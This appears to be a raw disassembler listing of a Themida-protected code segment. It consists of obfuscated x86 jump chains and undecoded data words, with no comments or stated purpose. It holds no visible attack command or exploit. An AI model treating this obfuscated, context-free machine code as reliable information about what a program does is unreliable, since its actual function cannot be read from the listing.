8124348Bh, 4C4h, 4BD5500h dd 81000000h, 932C4C6h, 56E7E917h, 4F68FFFFh, 0E900000Fh dd 0FFFFF5A1h, 4B850h, 44010000h, 0FF580424h, 34FF2434h dd 30E95824h, 81FFFF20h, 610A6CC3h, 10F3811Fh, 814FCF35h dd 0FFFFFFEBh, 685657FFh, 64D96064h, 0F0F6815Eh, 0C151DF45h dd 93E904E6h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4F7: ; CODE XREF: Themida_:0055F962j mov ecx, esp add ecx, 4 jmp loc_552F9F ; --------------------------------------------------------------------------- loc_55F504: ; CODE XREF: Themida_:0056090Bj sub esp, 4 mov [esp], esi push 7F87h mov [esp], ebx jmp loc_55FD96 ; --------------------------------------------------------------------------- dw 1468h dd 8B447171h, 0C481241Ch, 4, 0C7AE9h db 0 ; --------------------------------------------------------------------------- loc_55F52D: ; CODE XREF: Themida_:00553F31j xchg ebx, [esp] jmp loc_55A069 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EBh dd 6A223901h, 9FEB8143h, 17C818Eh, 9F10E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F54A: ; CODE XREF: Themida_:0055551Cj pop ecx mov edi, [esp] add esp, 4 push ebx mov ebx, 4 add edi, ebx pop ebx push ecx mov ecx, 1C790920h jmp loc_55C731 ; --------------------------------------------------------------------------- dd 4C381h, 62E90000h, 81FFFF7Ah, 0D037C3EAh, 56DA0100h dd 0D037C3BEh, 5EF20100h, 0FF2364E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F589: ; CODE XREF: Themida_:005635D3j push esi jmp loc_56505F ; --------------------------------------------------------------------------- loc_55F58F: ; CODE XREF: Themida_:00564B29j add ebx, 54124D55h jmp loc_559822 ; --------------------------------------------------------------------------- dw 0C159h dd 0E9C108E1h, 2AE18108h, 8101047Bh, 16DD4CC1h, 16A8E960h dd 0C483FFFFh, 0D0E95004h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F5BB: ; CODE XREF: Themida_:00551636j mov eax, 249760FEh add edi, eax pop eax pop ebp sub edi, 4 push edi jmp loc_55FB48 ; --------------------------------------------------------------------------- dd 241C8966h, 0FD202CB7h, 0DDF65B66h, 8816C580h, 4405E9EEh dd 814BFFFFh, 0AB6304F3h, 5BDE0127h, 8B2434FFh, 0C481241Ch dd 4, 81E78957h, 4C7h, 4C78100h, 0E9000000h, 0FFFFB558h ; --------------------------------------------------------------------------- loc_55F610: ; CODE XREF: Themida_:0055C6E7j mov [esp], ebp mov eax, [esp] add esp, 4 mov ebp, [esp] add esp, 4 neg eax jmp loc_551A21 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 6804C483h, 311Ah, 0FF243489h, 5E042474h, 8B24048Fh dd 39E92424h, 81FFFF21h, 0A95F71F2h, 5AD02918h, 39D52D5Ah dd 0D801631Dh, 726168h, 240C8900h, 5E4BE9h, 24048700h dd 5854505Ch, 405h, 4EC8300h, 0BB241C89h, 4, 0FF934CE9h dd 24048FFFh, 0FF24248Bh, 535A2434h, 0C0685B54h, 89000013h dd 0E9512434h, 0FFFF7A99h, 5FFD895Fh, 13BEEE81h, 0C6814DDEh dd 262C43BBh, 0B850EE01h, 34B5714Ah, 904EE235h, 0C051E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F6BE: ; CODE XREF: Themida_:0056060Aj and ecx, eax pop eax jmp loc_5620CF ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFE8DBh ; --------------------------------------------------------------------------- loc_55F6CC: ; CODE XREF: Themida_:0055A090j push ebx jmp loc_562839 ; --------------------------------------------------------------------------- dw 0D731h dd 0FF980AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6D9: ; CODE XREF: Themida_:005656B5j push 15D34F8h mov esi, [esp] add esp, 4 jmp loc_55C6EC ; --------------------------------------------------------------------------- loc_55F6EC: ; CODE XREF: Themida_:005565D7j push esi jmp loc_555011 ; --------------------------------------------------------------------------- loc_55F6F2: ; CODE XREF: Themida_:00552CF3j inc edi and edi, 6FD855C5h push edx mov edx, 6D5D7BC7h jmp loc_55F124 ; --------------------------------------------------------------------------- dd 1489665Ch, 0DD885124h, 0FFE9EE88h, 1000062h, 0D3C681DEh dd 8B57976Ch, 0C483241Ch, 4C68104h, 0E9000000h, 0FFFF7C33h dd 0C50001B0h, 1613E9h, 8BDF8900h, 0C481241Ch, 4, 0E9DF2958h dd 5624h ; --------------------------------------------------------------------------- loc_55F748: ; CODE XREF: Themida_:0055B8E1j add ebp, 0E36491Bh pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_55862D ; --------------------------------------------------------------------------- dd 5E08950h, 4, 25E7E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5639BC ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18100h, 87000000h, 9EE9240Ch, 66FFFF89h, 0E9AEB151h dd 0FFFFA3ABh, 6865F2BDh, 0AE7CE912h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F7A6: ; CODE XREF: Themida_:0055FCEDj push esi jmp loc_55E11C ; --------------------------------------------------------------------------- dd 0BA241489h, 0 dd 0FF5353E9h, 6CB551FFh, 4EC81h, 14890000h, 802CB224h dd 0EC8157CAh, 4, 0B5240C89h, 79ED8058h, 0F659EA00h, 7FA5E9D2h dd 0E789FFFFh, 4C781h, 0C7830000h, 243C8704h, 4D83E9h dd 74FF5100h, 0C8B0424h, 715C6824h, 42E90000h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F807: ; CODE XREF: Themida_:00551E11j mov ch, ah mov dh, ch pop ecx jmp loc_556E6B ; --------------------------------------------------------------------------- loc_55F811: ; CODE XREF: Themida_:005616D1j and esi, 1D713B58h shl esi, 7 and esi, 23020D21h xor esi, 310835BCh add edx, esi pop esi push dword ptr [esp] pop eax add esp, 4 xchg edx, [esp] pop esp add esp, 4 loc_55F83A: ; CODE XREF: Themida_:005533D4j ; Themida_:00563D69j push 1F21h jmp loc_5559EF ; --------------------------------------------------------------------------- dd 232768h, 24048B02h, 4C481h, 68570000h, 3966271Ah, 0FF8406E9h dd 74685CFFh, 8900005Ch, 0AFE9241Ch, 0BFFFFFFCh, 4, 835FF901h dd 0C3304C1h, 240C3124h, 8B240C33h, 36E92424h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F887: ; CODE XREF: Themida_:00558D4Dj sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebx jmp loc_558506 ; --------------------------------------------------------------------------- loc_55F89B: ; CODE XREF: Themida_:00559ACFj add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 sub esp, 4 mov [esp], ebp jmp loc_5546C1 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 565BDA01h, 0DC6ACFBEh, 6DBB534Bh, 311F5D3Fh, 0CE95BDEh dd 81FFFF94h, 0BE1A8FC5h, 5DEB01C5h, 570DB850h, 48E91FD3h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F8E7: ; CODE XREF: Themida_:0055DE86j add edi, 287C7762h shl edi, 4 or edi, 649E537Ch sub edi, 0FFFFFFFFh jmp loc_551EEC ; --------------------------------------------------------------------------- dw 0F001h dd 253CE95Eh, 815AFFFFh, 4C2h, 4C28300h, 31241433h, 14332414h dd 0AAE95C24h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F91F: ; CODE XREF: Themida_:0055639Fj pop ebx shl cl, 6 jmp loc_5537CD ; --------------------------------------------------------------------------- dd 33241431h, 7AE92414h, 80FFFF16h, 8B66C2C1h, 0C481241Ch dd 2, 1D2CA22Ch, 1D04C800h, 34FFA204h, 0F0E1E924h, 0D105FFFFh dd 0E93C5E2Fh, 0FFFF8824h ; --------------------------------------------------------------------------- loc_55F95C: ; CODE XREF: Themida_:0055803Bj rep movsd add esp, [edx+38h] push ecx jmp loc_55F4F7 ; --------------------------------------------------------------------------- db 28h dd 0F0005BF8h, 0FF5800E9h, 4BAFFh, 0D0290000h, 8324148Bh dd 27E904C4h, 31FFFF48h, 240C8BCEh, 0FFFD39E9h, 0FCE95EFFh db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F993: ; CODE XREF: Themida_:0055E9ACj push esi mov esi, 174D136Eh jmp loc_561489 ; --------------------------------------------------------------------------- dw 0D529h dd 93ED815Ah, 297FCE22h, 93C581FDh, 507FCE22h, 0FFD821E9h dd 9D055CFFh, 290AE113h, 65B951D0h, 494C7A6Dh, 6324E181h dd 8141721Bh, 394D88E9h, 8BC82935h, 0C481240Ch, 4, 5A2434FFh dd 0C8B5451h, 0E9545024h, 0ADFh, 68E38953h, 2106h, 0BD242C89h dd 4, 2FC8E9h, 4C48300h, 67016856h, 14890000h, 2B856824h dd 148B446Bh, 8BA2E924h, 2958FFFFh, 51C781EFh, 5D7AE575h dd 0FFAAB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA29: ; CODE XREF: Themida_:0055C098j mov ebp, 1E9F4828h mov edx, ebp pop ebp xor edx, 3B7F774Dh xor edx, 402B6FA9h push esi jmp loc_55DA10 ; --------------------------------------------------------------------------- loc_55FA43: ; CODE XREF: Themida_:00558516j pop esp push edi push esp jmp loc_55A270 ; --------------------------------------------------------------------------- loc_55FA4B: ; CODE XREF: Themida_:00559CFEj sub ebp, 0FB7FF9CCh mov eax, ebp jmp loc_560F17 ; --------------------------------------------------------------------------- dd 0C8BCB29h, 4C48124h, 68000000h, 724Dh, 0BD242C89h, 6E0D0118h dd 79C6E957h, 0BB53FFFFh, 4, 0C6E9DA01h, 5B000006h, 8104E6C1h dd 0F157C4F6h, 0EE8156h, 1332A76h, 24348BF3h, 4C481h, 0BE560000h dd 4, 875EF329h, 895C241Ch, 0E4B62414h, 6866CEFEh, 89663E28h dd 30E9240Ch, 45000004h, 3E5C145h, 0FF3EA4E9h, 24248BFFh dd 0E9240C87h, 0FFFF0EDBh, 0B850DBF7h, 28B43F3Ch, 0E958C301h dd 0FFFF5B4Dh, 8359CA01h, 148704EAh, 2770E924h, 48FFFFFh dd 24248B24h, 0FFD090E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAFD: ; CODE XREF: Themida_:00551AC1j mov eax, [esp] jmp loc_556F28 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 2714h dd 4C4815Fh, 89000000h, 0C288E9C8h, 0E959FFFFh, 2A92h dd 0E958E230h, 1DF5h ; --------------------------------------------------------------------------- loc_55FB3C: ; CODE XREF: Themida_:0055AC74j add esp, 4 push edx jmp loc_562971 ; --------------------------------------------------------------------------- loc_55FB48: ; CODE XREF: Themida_:0055F5CBj push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_55C3B4 ; --------------------------------------------------------------------------- dd 6EEB815Dh, 151C310h, 6EC381C3h, 5851C310h, 2474FF53h dd 48F5B04h, 24248B24h, 0FFD53FE9h, 240489FFh, 0DD722AB8h dd 58C32976h, 1C8BD801h, 4C48124h, 29000000h, 43B02DF8h dd 0CDE93895h, 89FFFF29h, 0DEE92404h, 66FFFF67h, 6624048Fh dd 660BC068h, 66243489h, 66242C87h, 0BD72E955h, 0E589FFFFh dd 4C581h, 0C5810000h, 4, 5C242C87h, 28D7E9h, 24248900h dd 4240481h, 5D000000h, 125968h, 0C6AE900h, 4BA0000h, 29000000h dd 34875AD6h, 0C895C24h, 81595424h, 4C1h, 82FDE900h, 489FFFFh dd 56E08924h, 4BEh, 6B5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FC12: ; CODE XREF: Themida_:0056494Bj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_555AAF ; --------------------------------------------------------------------------- loc_55FC2C: ; CODE XREF: Themida_:0055D302j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_5561D3 ; --------------------------------------------------------------------------- db 89h dd 2B68241Ch, 89000055h, 4832424h, 34FF0424h, 89535B24h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 769E685Ch, 4890000h dd 23EEE924h, 0E8010000h, 0F41FBC2Dh, 0C0835D6Dh, 24048702h dd 6624248Bh, 0A5BA6652h, 0B1ACE9F1h, 1C89FFFFh, 1C8B5424h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 4C3815Ch dd 57000000h, 2BFh, 73EB8100h, 0E95ADF26h, 0FFFF2D3Fh ; --------------------------------------------------------------------------- loc_55FCC0: ; CODE XREF: Themida_:0055C738j push esi jmp loc_560701 ; --------------------------------------------------------------------------- loc_55FCC6: ; CODE XREF: Themida_:00562BF3j add esi, edi pop edi push esi jmp loc_56146A ; --------------------------------------------------------------------------- loc_55FCCF: ; CODE XREF: Themida_:00551456j xor ax, 0E1BEh add ax, 3CC0h push si mov si, 1 sub ax, si mov si, [esp] add esp, 2 shr ax, 1 jmp loc_55F7A6 ; --------------------------------------------------------------------------- dw 0D6F6h dd 68FFC680h, 6DB2h, 0E9241C89h, 0FFFF764Ah, 0B951E289h dd 4, 3F65E9h db 0 ; --------------------------------------------------------------------------- loc_55FD11: ; CODE XREF: Themida_:00558B1Aj mov ch, 9Bh inc ch or ch, 6Ch not ch or ch, 0B9h jmp loc_552640 ; --------------------------------------------------------------------------- dw 4259h dd 0FB48C281h, 0C381A3FFh, 306146C5h, 4188E9h db 0 ; --------------------------------------------------------------------------- loc_55FD35: ; CODE XREF: Themida_:00556931j and dh, bl jmp loc_564997 ; --------------------------------------------------------------------------- dd 2F2AC281h, 34FF0DA1h, 240C8B24h, 4C481h, 0C4810000h dd 4, 3302C283h, 0E7E92414h, 68FFFF25h, 0BC65836Eh, 5724048Bh dd 0C781E789h, 4, 0FF1E35E9h, 24248BFFh, 305E9h db 0 ; --------------------------------------------------------------------------- loc_55FD7D: ; CODE XREF: Themida_:005515E7j push ebp push esp pop ebp add ebp, 4 jmp loc_565CE6 ; --------------------------------------------------------------------------- loc_55FD8B: ; CODE XREF: Themida_:00555C12j add edx, 4 jmp loc_5570E1 ; --------------------------------------------------------------------------- loc_55FD96: ; CODE XREF: Themida_:0055F515j push ebp mov ebp, 91D10A0h push esi mov esi, ebp jmp loc_5592DE ; --------------------------------------------------------------------------- dd 4C481h, 89520000h, 4C281E2h, 56000000h, 4BEh, 92CBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDBE: ; CODE XREF: Themida_:00561B7Ej pop dword ptr [esp] mov esp, [esp] add esp, 4 shr eax, 12h xor eax, ecx push 398Dh mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi not esi push 17A5h jmp loc_559F56 ; --------------------------------------------------------------------------- dd 2434FF5Ah, 0E9241C8Bh, 0FFFF3D87h ; --------------------------------------------------------------------------- loc_55FDF8: ; CODE XREF: Themida_:005653C6j inc ebp or ebp, 29F7158h jmp loc_56345C ; --------------------------------------------------------------------------- loc_55FE04: ; CODE XREF: Themida_:005572E6j and eax, esi mov esi, [esp] add esp, 4 push edi mov edi, 8272D032h xor eax, edi pop edi add edx, eax pop eax mov eax, edx pop edx jmp loc_555772 ; --------------------------------------------------------------------------- db 55h dd 0FF1DE8E9h, 5FE958FFh db 52h, 2 dup(0FFh) byte_55FE2F db 66h ; DATA XREF: Themida_:0055070Co dd 68240C8Bh, 6275h, 0FF60E0E9h, 66D400FFh, 45C4805Ah dd 60B65266h, 0D5E9F420h, 56FFFF78h, 1142D0BEh, 4C05052Bh dd 0F0292D97h, 974C052Dh, 24348B2Dh, 734468h, 240C8900h dd 0C181E189h, 4, 4C181h, 0C870000h, 0D8015C24h, 0FF1C4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE85: ; CODE XREF: Themida_:00559DE7j mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_55ED40 ; --------------------------------------------------------------------------- dw 0EA81h dd 798BB97Ch, 0FF8356E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FEA1: ; CODE XREF: Themida_:00555E2Fj sub ebp, eax jmp loc_553DD6 ; --------------------------------------------------------------------------- aHuf db '\hНF',0 align 2 dw 3C89h dd 0B1BE5624h, 8172AE4Eh, 124155CEh, 81D6F72Eh, 0BE4FFAC6h dd 481567Eh, 6757EE24h, 0EF815F61h, 616757EEh, 1F8EE9h dd 81E38900h, 4C3h, 8BA4E900h db 2 dup(0FFh) word_55FEE6 dw 8B66h ; DATA XREF: Themida_:005507DCo dd 0BE9240Ch, 50FFFF84h, 0E4C039B4h, 0ECC48002h, 2058E188h dd 0C8B66CEh, 5E06E924h, 0E7B9FFFFh, 81219131h, 528ECC9h dd 4EC8368h, 0BB241C89h, 754F3F22h, 11CB8143h, 0E930954Eh dd 0FFFF2B2Ah, 9758C721h, 49F4E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FF32: ; CODE XREF: Themida_:00559E9Aj pop ebx jmp loc_5573C2 ; --------------------------------------------------------------------------- dd 2404D35Ch, 0A6DE99Ch, 487FFFFh, 0BE95C24h, 56FFFF25h dd 0FF824AE9h, 4EC81FFh, 89000000h, 0E2682404h, 0E900003Fh dd 2D45h, 0FE73B753h, 0C0DFF6C7h, 0F78004EFh, 5BFE0073h dd 2EC81h, 9DE90000h, 31FFFF50h, 97E9243Ch, 8BFFFF82h dd 98E92434h, 3000001Fh, 241C8BD8h, 88BE9h, 0F7525800h dd 835A2414h, 0E1E901EAh, 29000037h, 4B951FAh, 0E972D339h dd 0FFFF8499h ; --------------------------------------------------------------------------- loc_55FFB4: ; CODE XREF: Themida_:00550B10j mov ebx, 1EDD1F9Eh jmp loc_563866 ; --------------------------------------------------------------------------- dw 0C483h dd 0F3BB5304h, 51620271h, 2C2BE9h, 58E30000h, 835BDD20h dd 148904ECh, 0D806E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFDE: ; CODE XREF: Themida_:00556B61j push eax push esp jmp loc_55A940 ; --------------------------------------------------------------------------- db 52h, 0BAh, 9Bh dd 81539335h, 1C2h, 6DEA8100h, 811BA142h, 1E3181E2h, 2DCA812Bh dd 8109AC4Fh, 5035AF2h, 8BD70120h, 0C4832414h, 9586E904h dd 0F781FFFFh, 63D323BBh, 0F75FFE09h, 518868DEh, 4AE90000h dd 81FFFFA3h, 0CDE55EC5h, 0E95653E3h, 0FFFF8BF9h, 31242C33h dd 2C33242Ch, 24248B24h, 0FF2434FFh, 51592434h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 98E92434h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560063: ; CODE XREF: Themida_:0056146Bj pop esi push edi mov edi, 621752C2h or ebx, edi pop edi jmp loc_558392 ; --------------------------------------------------------------------------- loc_560072: ; CODE XREF: Themida_:00557ACFj not esi or esi, 31317997h shl esi, 6 jmp loc_55D8F3 ; --------------------------------------------------------------------------- dw 8B66h dd 8A682404h, 0E900004Fh, 0FFFFBCB6h, 61B968h, 241C8900h dd 0FA88C788h, 5AD3885Bh, 240C8B58h, 4C483h, 1C8B66D8h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 2 xchg ebp, [esp] pop esp sub esp, 2 mov [esp], dx push ebx mov bl, 25h push ecx mov ch, bl mov dl, ch pop ecx pop ebx xor al, dl mov dx, [esp] push ebp push esp push dword ptr [esp] jmp loc_557797 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0B1h dd 25FFFF7Dh, 7D363761h, 16053D2Dh, 0B3CE911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5600F6: ; CODE XREF: Themida_:00563706j dec esi and esi, 2FED3535h sub esi, 9651130h add ecx, esi pop esi jmp loc_55612D ; --------------------------------------------------------------------------- db 0B7h dd 0FFC780A5h, 4FBC780h, 0CC2C4Dh, 2CCC04F8h, 241C8B4Dh dd 4C481h, 0C8E90000h, 8FFFFFCDh, 248B2404h, 24043124h dd 0FF0876E9h db 0FFh byte_560139 db 0ACh, 0E9h, 0E0h ; DATA XREF: Themida_:00550754o dd 29FFFFC0h, 5759240Ch, 0FF2179E9h, 14335BFFh, 3615E924h dd 0C7810000h, 4, 4C781h, 0FF570000h, 5F042474h, 5C24048Fh dd 2343B850h, 0E95708BFh, 0FFFF1C29h, 5F04C483h, 0E904EC83h dd 0FFFFA709h, 24048F5Ah, 0FF84C4E9h, 821E9FFh db 2 dup(0FFh) word_56018E dw 34FFh ; DATA XREF: Themida_:0055071Co aSs_0 db '$И≥>',0 align 2 dw 0ED81h dd 3D9D347Fh, 262DC581h, 11E94FC0h, 81FFFF41h, 0FC496FF3h dd 84BE5631h, 0D11FB018h, 0BDC681EEh, 29F027F3h, 0BF575EF3h dd 4E8C4C9Dh, 2C50EF81h, 0EF833710h, 1C781FFh, 81000000h dd 0CE718BC7h, 0CEF8148h, 11D3627h, 89525FFBh, 4C281E2h dd 50000000h, 4B8h, 58C22900h, 5C241487h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_554798 ; --------------------------------------------------------------------------- db 31h dd 4332404h, 3C88E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56021E: ; CODE XREF: Themida_:00552D13j add esp, 4 xchg esi, [esp] mov esp, [esp] add [esp], eax pushf jmp loc_5509AF ; --------------------------------------------------------------------------- dd 53C8FE5Ah, 0B2E989B7h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56023B: ; CODE XREF: Themida_:00562551j xor edx, ebx xor ebx, edx sub esp, 4 mov [esp], ebx xchg edi, [esp] not edi xchg edi, [esp] mov ebx, [esp] add esp, 4 push eax mov eax, 0FFFFFFFFh add ebx, eax mov eax, [esp] jmp loc_553B28 ; --------------------------------------------------------------------------- loc_560263: ; CODE XREF: Themida_:00564401j add esp, 4 add esp, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_551274 ; --------------------------------------------------------------------------- loc_560277: ; CODE XREF: Themida_:0055487Fj mov ecx, 0E01A18F3h add edi, ecx pop ecx mov eax, edi pop edi inc eax sub eax, 32E1D72h add ecx, eax pop eax push dword ptr [esp] jmp loc_55992F ; --------------------------------------------------------------------------- db 8Bh dd 41E9242Ch, 83000013h, 0DDF704C4h, 0C344F581h, 28E991CAh dd 51FFFFF6h, 0FFC09EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5602B1: ; CODE XREF: Themida_:00555304j xor bh, 0F2h or al, bh pop ebx jmp loc_55F297 ; --------------------------------------------------------------------------- loc_5602BC: ; CODE XREF: Themida_:0055D623j xor edi, 69B2602Bh jmp loc_558FC0 ; --------------------------------------------------------------------------- db 1 dd 0EC835EF0h, 241C8904h, 4BBh, 5BD80100h, 5C240487h, 3302C083h dd 4312404h, 24043324h, 0ECAE95Ch, 0ED830000h, 0E0F4E9FFh dd 5D53FFFFh, 4012BB5Bh, 0EB2912E0h, 57242C8Bh, 47E95F54h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56030B: ; CODE XREF: Themida_:005544B0j mov esi, ebx pop ebx add ebp, esi pop esi sub esp, 4 mov [esp], esi jmp loc_558A3E ; --------------------------------------------------------------------------- loc_56031F: ; CODE XREF: Themida_:0056356Dj push eax push ecx mov ecx, 55D5368Fh mov eax, 0BE4B7591h sub eax, ecx pop ecx shr eax, 7 inc eax or eax, 23F8798Dh sub eax, 0D6809CF7h add ebp, eax mov eax, [esp] add esp, 4 add ebp, 5B073AEBh add ebp, ebx sub ebp, 5B073AEBh jmp loc_558469 ; --------------------------------------------------------------------------- loc_56035A: ; CODE XREF: Themida_:005540B9j pop edx sub ebx, 5F8B55ACh add ebx, 0CA2EAF5h add ebp, 72F01E2Fh add ebp, ebx sub ebp, 72F01E2Fh pop ebx jmp loc_561C3D ; --------------------------------------------------------------------------- loc_56037B: ; CODE XREF: Themida_:005608D4j add eax, 0B66033h shl eax, 7 xor eax, 0D7FF9B04h push edi mov edi, 2E7F50C8h jmp loc_560DFB ; --------------------------------------------------------------------------- loc_560393: ; CODE XREF: Themida_:0055DD3Ej mov edx, 12B586Ah xor edx, 12B486Ah mov eax, edx jmp loc_55C8C9 ; --------------------------------------------------------------------------- loc_5603A5: ; CODE XREF: Themida_:0055D2D6j mov bl, al mov dh, bl pop ebx jmp loc_561B21 ; --------------------------------------------------------------------------- db 89h dd 2BF243Ch, 1000000h, 1C335FFBh, 3C34E924h, 478F0000h dd 40778140h, 0D59606Dh, 0FF2434FFh, 0E9582434h, 0FFFFE7B6h ; --------------------------------------------------------------------------- loc_5603D8: ; CODE XREF: Themida_:005656FCj mov eax, 2A0B5402h add edx, eax pop eax add edx, eax sub edx, 2A0B5402h jmp loc_55475A ; --------------------------------------------------------------------------- db 1, 0C2h, 58h a_bPagSus db '_│б╞ag~ИuS',0 align 4 loc_5603FC: ; CODE XREF: Themida_:005651F5j mov ecx, 24h sub ecx, 22B4302Bh add ecx, 20517D7Ah add ecx, edi sub ecx, 20517D7Ah push ebx jmp loc_5565DC ; --------------------------------------------------------------------------- loc_56041B: ; CODE XREF: Themida_:00558FD9j push dword ptr [esp] mov ebx, [esp] jmp loc_55C15B ; --------------------------------------------------------------------------- dw 895Ch dd 0BB532414h, 1C85394Fh, 2414F753h, 81DBF75Bh, 0A572F7E3h dd 81E3D160h, 0F59F64C3h, 0EC77E9FEh, 0EC81FFFFh, 4, 0E9242C89h dd 0FFFF991Ah, 5206E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56045E: ; CODE XREF: Themida_:00554130j and esi, 6D157DCAh jmp loc_55A51B ; --------------------------------------------------------------------------- db 0B9h, 48h, 36h dd 23E90FDAh, 4000017h, 2CE8283Dh, 0E951663Dh, 0FFFF84B6h dd 6313E681h, 834602A6h, 2C8904ECh, 37CCBD24h, 0EE012F07h dd 4B1BE9h db 0 ; --------------------------------------------------------------------------- loc_560499: ; CODE XREF: Themida_:00564AF6j xchg edi, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push 1A3Fh mov [esp], ebx push ecx mov ecx, 0E6B4256h sub ecx, 21F041Eh jmp loc_564713 ; --------------------------------------------------------------------------- loc_5604BB: ; CODE XREF: Themida_:005616B5j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55793B ; --------------------------------------------------------------------------- db 58h dd 0FF0D0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5604D1: ; CODE XREF: Themida_:005543A5j add ecx, 4 add ecx, 4 jmp loc_555540 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 81000000h, 4C5h, 242C8700h, 7F9A685Ch, 0C890000h dd 2B924h, 0CF010000h, 74FF5759h, 0BFE90424h, 0BA00004Ah dd 4, 1790C681h, 0D6013D45h, 1790EE81h, 148B3D45h, 4C48324h dd 38DD68h, 24348900h, 0FF3423E9h, 5BDF29FFh, 0E92434FFh dd 0FFFF3554h, 48BE300h, 4C48324h, 8124048Bh, 4C4h, 80C32800h dd 0B60FB5C3h, 87048FC0h, 0FFA996E9h, 0F6E581FFh, 81213979h dd 475C79EDh, 4EDC163h, 5111C581h, 0F5814F5Ah, 0B299BD6h dd 0FFBAF9E9h, 8FE95BFFh, 41FFFF87h, 0FF67D3E9h, 4C481FFh dd 5000000h, 523D06F4h, 8904EC83h, 0EC83241Ch, 24348904h dd 8904EC83h, 7EE9243Ch db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605AB: ; CODE XREF: Themida_:005513CAj and ebx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_5563BA ; --------------------------------------------------------------------------- loc_5605C7: ; CODE XREF: Themida_:00557A14j mov esi, esp jmp loc_555755 ; --------------------------------------------------------------------------- dw 0EF81h dd 179F504Ah, 0FF303AE9h, 6E18BBFFh, 0A8E94979h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605E3: ; CODE XREF: Themida_:0055D9EFj push edx push esi mov esi, 758E59A6h neg esi xor esi, 0D0409755h jmp loc_559CE0 ; --------------------------------------------------------------------------- loc_5605F7: ; CODE XREF: Themida_:00550C6Cj add esi, 4 push 297Ch jmp loc_560FA7 ; --------------------------------------------------------------------------- loc_560607: ; CODE XREF: Themida_:0055D8C0j mov eax, ecx pop ecx jmp loc_55F6BE ; --------------------------------------------------------------------------- db 5 aLSlw db 'рL[-)ьИLW',0 dw 0BF00h dd 1E837188h, 0FF2C9AE9h, 0DBE950FFh, 58FFFFC4h, 2474FF53h dd 89E95B04h, 89000009h, 8157241Ch, 4ECh, 243C8900h, 444168h dd 24248900h, 4240481h, 5F000000h, 22D2BE56h, 4E4E55AFh dd 0BB53D6F7h, 0AA50DD2Bh, 15BDE29h, 24348BF7h, 8304C483h dd 0E95704EFh, 0FFFF7D4Eh, 0D0E95D58h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56067F: ; CODE XREF: Themida_:00558096j mov ebp, 3B462A04h mov edx, 66F275E2h sub edx, ebp pop ebp push ebx mov ebx, 1A183252h jmp loc_5588B2 ; --------------------------------------------------------------------------- db 89h dd 0C7815AD5h, 2E4D40D1h, 0EF81EF01h, 2E4D40D1h, 5D2434FFh dd 4C481h, 3C330000h, 20F6E924h, 0EF810000h, 71053D42h dd 0FE0DEF81h, 0E916E9h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- 